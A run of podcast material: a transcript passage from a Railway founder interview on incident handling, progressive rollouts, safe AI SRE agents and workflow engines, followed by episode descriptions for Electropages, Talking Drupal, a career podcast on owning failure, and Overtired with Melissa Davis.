everything else all the way down. That's what lets you build these structures over time.Jake [00:34:18]: It's also what lets us build what I've called hyperstructures: things that are way bigger. You look at the Golden Gate Bridge and ask, “How did we build that?” There's a meme that we lost the technology. To some extent, yes, because the coordination that built those things evolved and changed. We lost some of the art of building structure as we jammed everything into Slack.Swyx [00:34:52]: But you jam everything in Discord.Jake [00:34:53]: Same point. It doesn't matter. It's message passing and interrupts, message passing and interrupts.Swyx [00:35:00]: So you're arguing there should be something better and more structured than Slack?Jake [00:35:04]: Yeah. For sure. I think Slack is awful, and Discord is awful too.Central Station: Context Routing, Support, and Incident ClustersSwyx [00:35:09]: This is the equivalent of my mom test. What have you done that has your solution to this?Jake [00:35:15]: Internally, we've built a tool called Central Station that aggregates all the context from our users. Every piece of feedback, every customer support item, everything gets aggregated into clusters. If an incident is brewing, we can determine how many users are affected and break off a discussion based on that.Jake [00:35:40]: That is more helpful than long-running channels where you're trying to decide which channel to put something in. If you can dynamically aggregate information and dynamically route it to the right person based on context, it works better. We know internally that these four people are close to networking. If we see a networking thing, we can drill it down to those four people. If it's with this part, we can look at the commits. This is no longer a manual process internally.Jake [00:36:13]: If you go to station or help.railway.com, that's why we built it. We wanted to scale with a massive amount of leverage by aggregating feedback.Swyx [00:36:27]: This is built in-house?Jake [00:36:28]: Yep.Swyx [00:36:29]: I remember helping out on this one with Angelo in 2023. You scale a lot with a very small team.Jake [00:36:38]: Yeah. We're about 10 times bigger now.Swyx [00:36:40]: You have your full developer code here? Very cool.Jake [00:36:44]: If you go to railway.com/stats, we expose this as a pub-sub-able thing. It's all real-time metrics. There's a way to get it as JSON somewhere if you care.Jake [00:37:01]: We're big on trying to build everything in public and talk about what we're working on. We've had issues in the past, and we'll say, “Here's how we're fixing these things.” We've gotten compliments and flak for incident reports. We're always trying to make them better and talk with people.Incidents, Disclosure, and Progressive RolloutsSwyx [00:37:20]: You had a big one recently. I liked that it was scoped to 3,000. You presumably used Central Station. Talk through what happened and how you address it internally as a team.Jake [00:37:38]: Internally, this one really sucked. It had to do with an upstream provider that didn't do the behavior it said it documented, which is unfortunate given they wrote the RFC for how the behavior should work. We rolled those things out, and Central Station caught it initially when a couple users said caches weren't invalidating. We turned it off immediately.Jake [00:38:03]: When you roll out to a large user base of three million people, you get a lot of disparate behaviors. We tested in staging and had tests, but we hit an edge case. We've hardened those systems, and now we can make that better. But it was a tough one.Swyx [00:38:39]: I always wonder how private disclosure is supposed to work if people find an issue. Are they supposed to contact you first? When you run a platform, these things will happen. What channels should people pursue to quietly resolve it before it becomes a bigger incident?Jake [00:38:59]: There's responsible disclosure. We err on the side of over-disclosing and letting you know something is wrong versus having your provider gaslight you. We've erred on sharing those things more publicly, even if they impact a small subset of users. That's a decision we've made internally. We have four values. One is honor. The honorable thing is to notify people to the widest degree at which they may have been affected or there was an issue, and then confront it head-on: why did it happen, what can we do better?Swyx [00:39:45]: Not the whole user base. That's because of incremental rollouts and other things?Jake [00:39:50]: Yeah. Progressive rollouts.Swyx [00:39:54]: That should be the norm at all large platforms.Jake [00:39:58]: It should. A variety of companies do this. There's the quote that Meta runs 10,000 different versions of Meta. To our earlier point about agents, they need the same thing. They need shadow traffic and all these other things. We've built so much ceremony around production being sacred that we need to make it trivially easy to test different behaviors in a safe environment. Then you can make mistakes in a safe environment.Safe AI SRE: Customer Agents, Forked Environments, and Production ParityAlessio [00:40:30]: Do you see a world where these things get automatically caught, not necessarily by your agent, but by your customer's agent? The cache invalidation issue seems easy to check if you know to look for it.Jake [00:40:44]: It's hard because to determine it, we almost need to hook into your observability infrastructure. That's why we have the template loop on the platform: so you can roll things out progressively. You can roll out to Johnny Vibe Coder initially, or push a shard that someone consumes at their own leisure. Or you can roll it out over weeks: 0.1% of people, 1% of people, early adopters, then all the way up. That's the non-deterministic version control we talked about earlier.Jake [00:41:30]: I believe that's where most things should go, because most companies end up building staged rollout systems in-house. It's the same thing built again and again at every company. There's a massive opportunity to consolidate developer debt.Alessio [00:41:45]: You should have a free tier. Model providers give free tokens if you let them use the data. You could give free compute if someone is the number-one shard that goes out and lets you plug into their observability.Jake [00:41:55]: We do that. That's why we talked about the impact on 3,000 people. We start with lower-impact people. Larger companies on the platform are last to receive those rollouts so they have a version of the platform that's deeply stable.Alessio [00:42:16]: I have three services, so I'm sure I get the first rollout. You can nuke my thing at any time. There are all these SRE agent companies. Observability people also want agents that fix upstream problems. You have your own agent in the canvas now. How do you see that playing out?Jake [00:42:39]: It's the stacking entropy problem. If you don't have primitives to make iteration in production safe, it becomes difficult. If you're an observability provider saying, “Here's the fix to this error,” assume 80% are good and make sense. But in the last 20% long tail of complex issues, if you let somebody stamp it, you create an opportunity for an incident.Jake [00:43:08]: That's why forked environments are important. People have staging, but it always drifts from production. You need primitives, workflows, and experience built first-party on the platform so you can fork any service at any point in time.Jake [00:43:33]: I think of the canvas as a sheet of transparency paper. The agent is a little guy you push up into the canvas. It should say, “I need to copy that service and that service so I can test these two things.” It gets a read-only copy of production. Anything that's PII gets marked as a transform when we clone the database, create a copy-on-write version, or read from it. Then the agent makes changes and asks, “Does this actually work?” as close to production as possible.Jake [00:44:22]: That's how close you have to be, or you get massive drift. The system becomes unstable. You see this with massive systems built on Docker for local, Kubernetes for production, and a specific thing for something else. That complexity slows developers and becomes unstable at scale, making it hard to iterate. We want to compress that way down and say, “As close to prod as possible is where we want to be.”From AISRE Skeptic to Agent BelieverSwyx [00:45:00]: I was texting Erica for questions, and she says you were originally not a believer in AISRE. Have you come around on it?Jake [00:45:10]: I flipped, but I'm still not a believer in AISRE if you don't have the primitives to make it safe. If you unleash AISRE on production infrastructure without safe primitives for copying volumes and making sure things are fine, it's going to nuke your production database. It's not a matter of if, but when. I'm a big believer in making those loops safe.Jake [00:45:33]: I was a deep AI skeptic until 2023. In 2024, I thought, “Maybe I can roughly make this thing do it.” In 2025, I thought, “Now I can hold this.” Over winter break, everybody came back saying, “It's almost impossible to hold this.”Swyx [00:46:01]: Did you see this on the Claude docs? CloudBot? OpenCloud?Jake [00:46:06]: It's gotten to a point where it's harder to hold it wrong than to hold it right. There's a scene in Avengers where Vision picks up Thor's hammer and says it's terribly well-balanced. It self-balances and works well. I'm a deep believer at this point that this will be the dominant species: assembly, C, C++, JavaScript, words.Swyx [00:46:35]: It feels like a big jump.Jake [00:46:37]: It is. But it's not like you abandon CPU-based discrete logic and move straight to fuzzy logic. You need both. Your skills should call code or applications or some static structure. You can use skills to distill what the procedure should be or how the code should act.Jake [00:47:02]: I'm coming to a thesis: you need three points. You need a clear spec defining the system, the code, and the tests. When you say it out loud, if you've been in engineering long enough, you're like, “Of course. That's an RFC, tests, and code.” But they all matter. Having them together lets them reinforce each other: the spec and tests match, but the code doesn't, so reconcile it. Or the tests and code match but the spec doesn't, so reconcile that. That's the iteration loop.Jake [00:47:41]: That's why you're seeing people talk about software factories, docs, and reconciliation. Some of that is architectural astronomy if you don't implement it, but that loop is where most things will end up.Swyx [00:48:07]: For listeners, we've been talking about this on the pod for three years: the holy trinity of specs and tests. Itamar Friedman from Qodo is the reference if people want to look it up.Self-Modifying Infrastructure and the End of Push-Pull-RebuildSwyx [00:48:18]: One thing I want to mention on the OpenCloud idea is self-modification. I don't know how Railway would support it, but I have my OpenClaw, and I just tell it it has the Railway CLI and can do whatever. In theory, whatever capabilities or new infra it needs, it can call the Railway CLI, provision it, and add it to itself. The agent can modify its own infra.Jake [00:48:45]: It's nuts. I have a loop set up where you put the Railway CLI on top of something that runs on Railway. You're authenticated as whatever the current box is, and you can make any changes to it. Then you call Railway deploy, and it deploys itself.Jake [00:49:04]: It's like: “I need to spin up this instance of this environment. I already exist in this environment. Excellent, I have access to a Postgres instance now.” That's where we want to go with agentic, self-replicating infrastructure. That's your loop: iterate in production. You continue making changes. If it works, merge it upstream. If it doesn't, throw it away.Jake [00:49:37]: How do you make throwaway copies trivial to spin up and super cheap? The era of “I have an AWS instance with four vCPU and 16 gigs of RAM” is going to get destroyed. If you do that for agents, you need a thousand of those machines. It's prohibitively expensive compared with what we've spent a ton of time figuring out: the atomic unit of deploy, whether you call it isolates, sandboxes, or something else. Only pay for what you use, spin up instantaneously, and close the loop as quickly as possible.Jake [00:50:15]: If the system can self-replicate safely and say, “This is my environment, I'm making these changes,” it can come back with, “Does this look good? This is a new state of infrastructure given this prompt. I think I've solved it.” Then you go back and say, “Actually, it looks different.” It does the loop again. Then you say, “Cool. Apply.”Swyx [00:50:38]: That's retroactively obvious, which is the most useful kind. Any other comments on agent deployment on Railway?Jake [00:50:51]: It's getting better every day. I'm on X or Twitter. You can always yell at me about the parts not working as well as they should, because plenty of things should work way better.The New Serverless: Stateful, Long-Running, Pay-for-What-You-Use LinuxSwyx [00:51:04]: At this stage, when people want massively or embarrassingly parallel compute, they usually talk serverless. I feel like there's a new serverless compared to the previous five years of serverless. You're in that new bucket. Do you have comparisons or philosophical differences you want to call out?Jake [00:51:31]: It's somewhere in between. It's the ability to run stateful, long-running workflows or executions.Swyx [00:51:42]: Vercel has Fluid Compute, Cloudflare has some container thing, Google has App Runner and others.Jake [00:51:55]: That's where everything is roughly going, and it's why we've been working on this for six years. We believe users need access to a computer: a box that speaks Linux. They need to deploy what they want. Other systems change the surface area of what you can build. For us, users need a computer and need to deploy anything they truly want. That's why we've focused on the primitives: network, compute, storage. If we give you those and expose them so you can run things indefinitely, that's where we believe it's going.Jake [00:52:43]: Twitter has no nuance, so everyone says “servers” or “serverless.” It's always somewhere in the middle: I want to run it for a long time, but I don't want to provision the resource statically or pay for things I'm not using. That's been our thesis from day one: pay only for what you use, run it indefinitely, and it is full Linux.Swyx [00:53:12]: That's why I like the naming of Fluid. It's fluid. Flexible.Heroku, Focus, and Carrying the Torch Without Becoming the PastSwyx [00:53:18]: Another milestone is the Heroku official deprecation. You're one of the presumptive new Herokus. “New Heroku” has been a category for as long as I've been in developer tooling. It's finally happening. What was that like? Any behind-the-scenes of, “This is the moment”?Jake [00:53:42]: You have people where you're like, “You were running stuff on here? You, as this company?” It's crazy that names you would know are running on it and now coming to us saying, “We want to move a lot of this off.”Swyx [00:54:00]: Any behind-the-scenes on why Salesforce let Heroku stagnate?Jake [00:54:05]: I can only guess. It's hard when it's not your business. Salesforce's business is to build a great CRM. That's their focus. Then you acquire a compute business as an offshoot. A lot of early Meta people talk about focus. Boz has a write-up about how in the early days of Meta they had no money, so they were forced to focus. Then they turned on the money tree and had no reason not to split their focus.Jake [00:54:52]: But that dilutes your product. You get offshoots where you ask, “Is this the focus of the business?” If it's not core, it languishes. A lot of companies get in trouble when they split focus because they're fighting a multi-front war, not just externally but internally for alignment. Where are we going? What are we doing? What is our purpose?Jake [00:55:24]: If you're Salesforce-built and mission-driven, you want to work on Salesforce. Heroku is off to the side. It's not core to the business. Getting resources, budget, focus, and alignment internally becomes hard. It was a matter of time.Swyx [00:56:06]: Kudos for them to call it out instead of leaving it unknown.Jake [00:56:12]: Their release was a little odd. They called it out, but they didn't say they were shutting it down. Behind the scenes, I think they issued messages to people saying they should close accounts and that they were going to deprecate and remove things over time.Jake [00:56:30]: It's crazy because some of my first deployment experiences were on Heroku. You start with dragging things into an FTP server, then you try to get a deploy working, and then it's Heroku. It was the on-ramp for us. But the wheel turns. New things emerge. We're happy to carry the torch for a lot of that. But we don't want to be the new Heroku. We want to be the way people build and deploy software, and ultimately the way people monetize software over time.Swyx [00:57:19]: It's still a big crown to be the new Heroku. There are 50 companies that fought for that.Jake [00:57:23]: Everybody is holding some portion of it. We're happy to support people and companies. The platform works differently. The game loop is similar, but we've been dogmatic about where these things are going: primitives, agents, fan-out. Some things fit; some workflows need to change. We have an approximation of Heroku pipelines with the environment system. It's exciting. We've got a ton of people we can support, and it's growing a lot.Temporal, Workflow Engines, and State MachinesSwyx [00:58:12]: I have one more technical question about Temporal. I've sold my shares. You're a power user and one of our earliest customers. I met you through Temporal. You built on Temporal. You have complaints. This may be the most neutral and informed conversation anyone will hear about Temporal without someone working at the company.Jake [00:58:39]: That's fair. I've used Temporal for almost 10 years because of Cadence at Uber.Swyx [00:58:52]: Give people a sense of what Cadence was at Uber.Jake [00:58:57]: Cadence was the precursor to Temporal. It powers trip actions, rides, when you rent a Jump bike or scooter or car. You're running workflows for a period of time and saying, “This ride will run indefinitely until it finishes.” You attach information: you paused in this zone, so add this charge to the bill. When you end the trip, the workflow is done. That experience was powered by Cadence at the time.Swyx [00:59:34]: I used to say it's like programming the entire user journey top-down as one function.Jake [00:59:39]: It's a powerful idea and important. It's also important for the next phase of the agentic journey. You want an agent to do a specific task, be complete or incomplete on that task, and move on to the next thing. You need a way to manage workflows dynamically.Jake [00:59:59]: Temporal was always great in theory, and great when you got it working the way you wanted in production. But it required you to model the entire journey in your head. If you didn't, you could cause issues where replaying the state of the workflow causes non-determinism.Swyx [01:00:25]: Because it works on deterministic workflow history.Jake [01:00:28]: Exactly. I describe it as a jet engine. If you know how to operate it and run it, it's great. But you can't hand it to people trying to build complicated things if they don't have the whole state in their head.Jake [01:00:48]: We run our whole deployment pipeline on top of it. That's a reasonably complicated workflow: pre-commit hooks, signaling, queuing, and all the rest. We ran into the same thing at Uber. As you express a large workflow, it gets more complicated, with more states in the state machine that you have to map back to the workflow.Swyx [01:01:15]: It's a lot of ifs.Jake [01:01:16]: Exactly. At Uber, we built a system for doing the state machine and testing it. We've started to build some of those things here because it's grown heavily. It's not quite love-hate. When it works well, it works super well. But if someone who doesn't have full context puts something into the system that invalidates state or causes non-determinism, or spins off a ton of activities, you have to keep track of underlying SRE knobs like activity slots. Those should scale with memory, vCPU, and so on. It becomes a bear to scale.Swyx [01:02:10]: You need a capable sysadmin running things behind the scenes. If you moved off, what would you do?Jake [01:02:19]: We'd build our own workflow engine. We have a few internally that we've worked on.Swyx [01:02:27]: This is one of those classes of things you typically wouldn't vibe code, but I'm wondering if you can.Jake [01:02:33]: I still don't think you should vibe code it. You still want to run decent tests to make sure it works.Swyx [01:02:39]: Timo didn't invent that from scratch either. There are libraries you can run. On top of that, it's just a state machine that you have to map out. Ultimately, you define the instructions you want and run them through a state machine.Jake [01:03:00]: It's very doable. Workflow stuff is interesting. Restate is doing neat stuff here.Swyx [01:03:10]: You're tied into JavaScript. Are you a JavaScript maxi?Jake [01:03:13]: Internally, we have TypeScript, Rust, and Go. We don't add more languages. Actually, we have a little C because we write BPF code and hooks. But those are the languages.Swyx [01:03:28]: Is this for sidecars?Jake [01:03:32]: No. It's for the networking stack, volumes, and things like that. We use TypeScript a lot because it powers the dashboard, but we're moving a lot of workflow stuff off the dashboard stack and into the infrastructure stack.Railpack, Nixpacks, and Content-Addressable FilesystemsSwyx [01:04:00]: Cool. Any other technical infrastructure stuff? Railpacks?Jake [01:04:07]: We built an engine for determining dependencies based on source code. It's called Railpack. We built the first version, Nixpacks, on top of Nix, and then we moved.Swyx [01:04:17]: People have been trying to get me to adopt Nix and NixOS for four years. Is it ever going to be a thing?Jake [01:04:23]: I don't know. We're excited about it, but it has pain points. Think of it as a stack of versioned binaries at specific slices in time. If you want version X and version Y, you bloat the package space, which blows up image size and makes real-world workloads difficult.Swyx [01:04:53]: But you content-address it and cache it. In theory, there are optimizations.Jake [01:05:00]: In theory, yes. But with a large enough user base and disparate enough machines, you run into a problem Meta described in the XFAAS paper, their internal serverless system. It becomes difficult at scale unless you break out specific runtimes.Jake [01:05:24]: We didn't want to do that because we wanted to truly allow you to deploy anything. That was our initial thing with Nix. But we've moved toward interesting work around content-addressable file systems that can lazy-load anything from any point and page it into memory.Swyx [01:05:48]: Amazing.Jake [01:05:49]: The future is very bright. It's crazy, and it's going to be nuts.Coding Agent Spend, Roadmaps, and Token ROISwyx [01:05:54]: Founder journey stuff?Alessio [01:05:56]: Your cloud usage: you tweeted you're going to spend $300K this month?Jake [01:06:01]: I think we got to $200K.Alessio [01:06:02]: Coding agents?Jake [01:06:03]: Yeah.Swyx [01:06:04]: Across the company?Alessio [01:06:05]: You only have 35 people, so I'm sure they're not all spending $10K a month. What's the distribution?Jake [01:06:10]: I think I'm at about $25K. We have power users all the way down. We came back from winter break, and I basically said, “If you're writing code by hand, you're doing this wrong.” The tools are good enough now that you can move extremely quickly. There are issues and pain points, but you should be reviewing the code you are writing instead of writing it by hand.Jake [01:06:40]: Architectural patterns matter more now than ever, but you shouldn't spend your time generating code you would write. If you know how to write it, ask the agent to write it and reconcile it until it looks like you would have written it yourself.Jake [01:06:58]: People misconstrue my propensity to push people toward agents as connected to our growth and some reliability bumps. They're not necessarily related. The tools are good enough to move extremely quickly and build things way larger than you could before.Jake [01:07:19]: To the earlier point about cooling data centers in space: I don't know. But with software, you can ask, “How would I build block storage from scratch? How would I do these things?” I have ideas because I have history and have read papers. Let me work them out and build massive test benches with thousands of tests, because those are now free to author. If you're not using AI systems to speed-run your roadmap and reconcile your existing system onto the future, you're missing a large point of what's happening.Alessio [01:08:12]: What's the path to spending $3 million a month? Is it bound by ideas and things customers can absorb?Jake [01:08:19]: For most companies, it's bound by deployment at this point. That's why we've seen a massive boom in users and companies, from Fortune 50s down, asking how to get developers to move faster. You'll probably hit your CFO before any technical limits because they'll look at the eye-watering amount of money spent on tokens. Inference costs have to come down, but we're inference constrained now. There will be price discovery around what makes sense for an org to adopt.Jake [01:09:06]: I think you'll end up with the F1 driver concept. If someone is really adept at these things, it makes sense to put them in a $3 million car. If they're not, it probably doesn't make sense. You'll take a few people and say, “You can drive the F1 car. We need to go in this direction. Figure out if it works and prototype it.”Jake [01:09:33]: We've done some of that and vastly accelerated our roadmap. We thought we'd ship something in a few years; now we can probably ship it in a few months because we validated it and don't have to build it incrementally. We can skip steps and move toward our vision.Alessio [01:09:58]: A lot of people are realizing the roadmap doesn't always have a business impact, so they say tokens are too expensive. But if your roadmap were built to make more money by the time you built it, you'd have token pricing for it, the same way you do with sales. You'd spend a billion dollars on sales if you knew you would get $2 billion of revenue.Jake [01:10:19]: Exactly. A naive way to measure this is the percentage of tokens that end up in production. If you can measure impact because those tokens end up in production, that's awesome. But the burden of proof will rise. Internally, we have a growing number of pull requests that haven't merged. The question becomes: how do you get this into production? It's about how quickly you can build and deploy software, which is exciting because that's our whole thing.The SDLC Shift: Prompt Requests, Feature Flags, and Safe RolloutsSwyx [01:10:56]: The SDLC is changing. One thesis is that the pull request is dying. It's going to be the prompt request. Beyond that, code review is also kind of dying if you have all the other systems in place. What else is changing about the SDLC?Jake [01:11:19]: The AISRE and the tools to make it happen. AISRE is pie-in-the-sky aspirational. What does it take to get an AISRE? What tools do you need to build?Swyx [01:11:32]: You should expose your tooling to customers at some point. The Central Station command center.Jake [01:11:39]: We have it for template maintainers. Template maintainers can deploy and maintain templates, and they get feedback. We're going to expose those things incrementally.Swyx [01:11:51]: Clustering around incidents. Everyone has a version of that, but I don't think anyone has solved it.Jake [01:11:56]: I won't say we've solved it internally, but it's gotten so good that we can see incidents forming pretty quickly. At some point, those will be things either someone else builds or we build. We've always built things purpose-built for us. If it makes sense to make it useful for users, monetize it, or turn that loop into a profit center instead of a cost center, we want to do that.Jake [01:12:28]: Pull request is definitely dying.Swyx [01:12:29]: Do you do first-party feature flagging and incremental rollout stuff?Jake [01:12:34]: We have a feature-flagging engine we built internally and will eventually roll out.Swyx [01:12:38]: I don't see it as a user. How come you didn't give us what you have?Jake [01:12:43]: We have to beta test it. We care a lot about the quality of the things. There's plenty we've used internally that doesn't make it all the way through the journey because it fails. It works for one service but not multiple services. We'd have to build it for multiple services and know that if we released it, we'd rebuild it again and again. Some things are worth that, but many inform the roadmap.Jake [01:13:18]: We don't want to dilute the experience by saying, “This works, but only for this service,” unless it's a core initiative. Over the next few months, we'll roll out things that work for a single service, then multiple services, then multiple services across the environment. You have to be deliberate. Otherwise you create broken disparate experiences and support load because people ask how to use the feature.Jake [01:13:52]: It's the earlier expansion and compaction pattern. You expand the company to get features, then compact and smooth them out so the experience is stellar. You told me in the hallway, “It's gotten so much better.” Internally we're saying, “This part really sucks. We need to make it significantly better.”Swyx [01:14:11]: I can attest to that over the last three years watching you build Railway. For listeners, feature flagging is a huge part of Uber culture. So much so that they have too many feature flags and another thing to remove feature flags. Facebook has Gatekeeper. Agents are going to need this. It's fundamental to incremental rollouts. OpenAI acquired Statsig. GPT-5 is routing and flagging through different models.Jake [01:14:56]: It's super important. If the software development lifecycle is going to change because we're doing things 1,000 times faster and 1,000 times more concurrently, what becomes important at scale?Jake [01:15:16]: Before I started Railway, I built a feature-flagging product and tried to sell it. It was an easier version of LaunchDarkly. I ran into a problem: anyone small enough to adopt your technology doesn't care about feature flags, and anyone large enough to need feature flags needs so much scale that you have to build out all the infrastructure. I scrapped it.Jake [01:15:42]: But what is old is new again. Companies are trying to move quickly, but you can't YOLO a vibe-coded thing straight into production. You need to say, “Here's my blast radius, my impact, and I want to shadow it for these users.” Feature flags. You're going to need the tools larger companies built to maintain their structures. Everything gets compressed by 1,000x so everybody can build those structures quickly.Jake [01:16:07]: That's exactly where we are: compressing the software development lifecycle, then expanding it and adding more new things.Cattle, Pets, and Clonable InfrastructureSwyx [01:16:15]: Another term that comes to mind for newer developers is “cattle, not pets.” People treat production like a pet. It has a name. You baby it and keep it alive. With cattle, you can mass farm, roll out, portion parts out, and kill them.Jake [01:16:37]: I think that might change. You can move toward having pets as long as you have a cloning machine for your pets.Swyx [01:16:52]: Yeah.Jake [01:16:52]: If you can snapshot every single thing at every frame, it doesn't matter if something gets obliterated because you have a snapshot of it. The things we've built right now are designed to block changes from the hermetically sealed DevOps line. You have to write a Dockerfile because you nee
In this episode of The Electropages Podcast, host Robin Mitchell interviews Rodney Dowdall, VP of R&D at TeleCANesis. Rodney explains how TeleCANesis helps engineers connect CAN, Modbus, ISOBUS, EtherCAT, MQTT, JSON, and other protocols through a configurable middleware stack designed to reduce repetitive code changes and simplify embedded data handling. The conversation covers how TeleCANesis was built around a real engineering problem: data formats, CAN messages, DBC files, and sensor interfaces keep changing, forcing developers to rewrite and revalidate code. Rodney explains how a configuration-led approach can help engineers update message handling without changing core software, reducing the risk, time, and certification burden that often comes with embedded development. Engineers will also hear a wider discussion on AI-assisted coding, deterministic software, safety certification, human-in-the-loop development, and why "vibe coding" may suit some applications but not safety-critical embedded systems. This episode provides a practical look at how middleware, tooling, and protocol abstraction can make connected devices easier to build, maintain, and scale.
Today we are talking about The Open Web, What it means, and Why it's important with guest Alex Moreno. We'll also cover AI Schema.org JSON-LD as our module of the week. For show notes visit: https://www.talkingDrupal.com/553 Topics Defining the Open Web Drupal in a Bubble Marketing and PR Challenges AI Bias Against Drupal Why AI Won't Recommend Drupal Is Drupal AI Native Marketing Against Giants Local Evangelism Push Funding Outreach Trips Drupal CMS PR Gap Templates Lower Barriers Need a Drupal Onramp Speaking Beyond Drupal Web Summit Lessons Sell Problems Not Drupal Rethinking DrupalCon Camps and New Audiences Marketplace Ecosystem Idea Wrap Up and Contacts Resources Drupalcamp Grenoble 2026 - Bursting the bubble Drupal Iberia keynote Schema dot org Drupal is Great! Its Perception Might Not be TD Cafe - Caching Guests Alex Moreno - alexmoreno Hosts Nic Laflin - nLighteneddevelopment.com nicxvan John Picozzi - epam.com johnpicozzi Bernardo Martinez - bernardm28 MOTW Correspondent Jacob Rockowitz - jrockowitz.com jrockowitz Brief description: The AI Schema.org JSON-LD module provides a straightforward way to send a prompt — including a webpage's content and data, along with instructions and requirements — to an AI provider and receive a response containing valid Schema.org JSON-LD for saving and embedding in a webpage. It's a "glue module" that combines AI Automators, Field Widget Actions, and JSON Field to create an AI-powered Schema.org JSON-LD field for content entities. Module name/project name: AI Schema.org JSON-LD Brief history How old: Created in April 2026 by jrockowitz (Jacob Rockowitz) of The Big Blue House Versions available: 1.0.0-alpha1 (requires Drupal ^11.3); 1.0.x-dev branch also available Maintainership Actively maintained Yes — updated as recently as April 30, 2026 Security coverage No — not currently covered by Drupal's security advisory policy; use at your own risk Test coverage The module notes that all contributed code must include test coverage, though it is early alpha Documentation Yes — the project page includes setup instructions, implementation guidance, philosophy, and a 2-minute demo video on YouTube Number of open issues: 0 open issues, 0 of which are bugs against the current branch Usage stats: 1 site currently reporting use of this module Module features and usage Adds a native JSON "Schema.org JSON-LD" field to content entities (nodes, media, taxonomy terms) Field is populated via an AI automator triggered by a Field Widget Action, keeping a human in the review loop before saving Stores Schema.org JSON-LD as native JSON data, creating a fully queryable knowledge graph for the site Works with complex nested content structures (paragraphs, components) by having AI parse and generate the structured data Includes an optional sub-module for logging prompts and AI responses for human and AI review and iterative improvement Configurable per entity type/bundle via UI, Drush, or Drupal recipe Philosophy: "Use AI to build a tool that helps AI understand your website while always keeping a human in the loop" Built using AI coding agents (Claude and Codex), with community contributions encouraged — especially around crafting and sharing optimal prompts
If you've heard that your job in the agentic coding era is to "become a manager of agents," you may have noticed something doesn't quite fit. Most of us never trained to be managers, and frankly, that's not the role most engineers want. In today's episode, I unpack what that shift _actually_ means — it's closer to a tech lead or architect mindset — and zoom in on a specific interviewing and on-the-job skill that will help you stay employable: how you think about, talk about, and take ownership of failure. Don't Just Bring Star Stories — Bring Failure Stories: Interviewers don't only want to hear how you succeeded. They want to know what you do when the pressure's on and things fall apart. If every story you tell is a highlight reel, there's a built-in social signal that you're hiding something. Get comfortable telling the other kind of story. Identify the Real Problem, Not the Proximal One: The most common failure story I hear in interviews is "the knowledge transfer was bad" or "the docs weren't good." That's not wrong — it's just incomplete. The senior mindset asks why that happened. Why didn't we have docs? Why was context insufficient? Walk it back until you hit something actionable but not too abstract. The Systemic Diagnosis is the Leveled-Up Answer: Fixing the proximal cause fixes this instance. Fixing the root cause fixes the system that keeps producing instances like this. When you connect what you learned to a systemic adjustment, you stop sounding like someone who survived a bad project and start sounding like someone who improves the organization around them. Ownership Means Owning the Outcome, Not the Task: Use the homeowner metaphor. A homeowner doesn't personally fix every leaking pipe — but the outcome of the home is theirs. As an engineer, your scope of ownership has expanded dramatically in the agentic era. You're now responsible for outcomes of code you may not have even read, and the deciding skill is how you carry that responsibility. The Word to Pair With Ownership is Relentlessness: Not in an anxious, burn-yourself-out way. Relentlessness means following a thread to its natural end — through escalation, through asking the next question, through finding the right person if it's not you. It's the antidote to "I'll let someone else handle it" syndrome. You Don't Have to Do It All Yourself: Relentless ownership is not "carry every task across the finish line personally." If you're not qualified, the owner's job is to find who is, communicate risk to stakeholders, and keep the trail alive until the outcome is resolved. That's the differentiator between a senior thinking engineer and a junior one working through assigned tickets. Failure Is Usually a Lapse in Ownership: If you make a list of five things you've failed at (and you should), you'll often find the through-line isn't lack of skill — it's that you stopped escalating, stopped following up, stopped staying with the thing until it was actually resolved. Episode Homework: Write down five real failures. For each one, ask: where did I stop being relentless? What system produced this outcome — and what would I change upstream next time?
Brett records an episode without Christina and Jeff and chats with Melissa Davis (The Mac Mommy) about her start as a mommy blogger and longtime Mac podcaster, her tech-support work, and the strange lack of closure when online friends disappear. They trade mental-health and chronic-illness updates, Adderall vs. Vyvanse, difficulty finding curious doctors, and being labeled “worried well.” Don’t worry, they nerd out on mechanical keyboards, Karabiner, and remapping keys. GrAPPtitudes include Bartender 6 Pro, Sortio for AI tagging, Sketch Party TV, and Karabiner. Sponsor OneSkin improves your skincare routine with science-backed skin care products. With over 10,000 five-star reviews and validation from clinical studies, OneSkin has made a name for itself in the skincare industry. If you’re interested in trying OneSkin for yourself, you can get 15% off your order with the code OVERTIRED at oneskin.co/OVERTIRED. Chapters 00:00 Meet Melissa Davis 00:56 Early Podcast Days 02:20 Tech Support Seniors 05:52 Digital Legacy Work 06:50 Sponsor: OneSkin 08:14 Mental Health Check In 08:34 Insomnia And Focus 13:19 Doing Time Tracker 16:04 Suspenders And Stenosis 20:18 Mobility And Home Hacks 22:10 Melissa Health Update 23:25 ADHD Meds And Mutations 25:25 Curious Doctors Matter 27:59 Vyvanse Vs Adderall 30:26 Tracking Mood With Data 32:27 Cane And Somatic Therapy 36:09 Somatics For EDS 36:50 Yoga Modifications 38:19 Polycystic Liver Shock 39:20 Fatphobia In Healthcare 40:56 Pole Dancing Reality Check 41:55 Mechanical Keyboard ASMR 45:56 Nail Art And Picking 49:09 Keyboard Layout Rabbit Hole 01:00:59 Shortcuts And Muscle Memory 01:03:12 GrAPPtitude App Picks 01:14:07 Karabiner Power Tips 01:17:30 Wrap Up And Thanks Show Links hEDS Doing Timing Royal Kludge Keyboard Gamakey Silent Linear Switches EPOMAKER Switch Benefit Section EPOMAKER AegisSil Keycaps Set SketchParty TV Karabiner Sortio Bartender Pro Day One Join the Conversation Merch Come chat on Discord! Twitter/ovrtrd Instagram/ovrtrd Youtube Get the Newsletter Thanks! You’re downloading today’s show from CacheFly’s network BackBeat Media Podcast Network Check out more episodes at overtiredpod.com and subscribe on Apple Podcasts, Spotify, or your favorite podcast app. Find Brett as @ttscoff, Christina as @film_girl, Jeff as @jsguntzel, and follow Overtired at @ovrtrd on Twitter. Transcript Nails and Keys with Melissa Davis (The Mac Mommy) [00:00:00] Meet Melissa Davis Brett: Hey, this is Brett Terpstra. I am without my usual cohorts, Christina and Jeff. Um, so I, I wanted to, you know, get a, get an episode out for all of you listeners, and I reached out to Melissa Davis, known as The Mac Mommy. Um, I don’t, I, I don’t know if they’re still known as The Mac Mommy, but in m- in my lifetime they have been. Um, Melissa, why don’t you introduce yourself, let people know, like, M-Ma- long time, like Mac personality, podcaster. Tell us where you came from. Melissa: Where did I come from? Outer space. Uh, I came from being a mom. I, I, I will admit, this is hard to admit, But I will admit I started out as a mommy blogger. That’s, like, kind of a bad word nowadays. Brett: back, back, yeah, this is way Back when Melissa: [00:01:00] Yeah. Early Podcast Days Melissa: so we’re talking, like… Well, my oldest is gonna be 20, Brett. My oldest is gonna be 20 this summer. End of, end of June he’ll be 20 years old. So that’s about how long I’ve been doing podcasting. I mean, I started, I started, like, when… 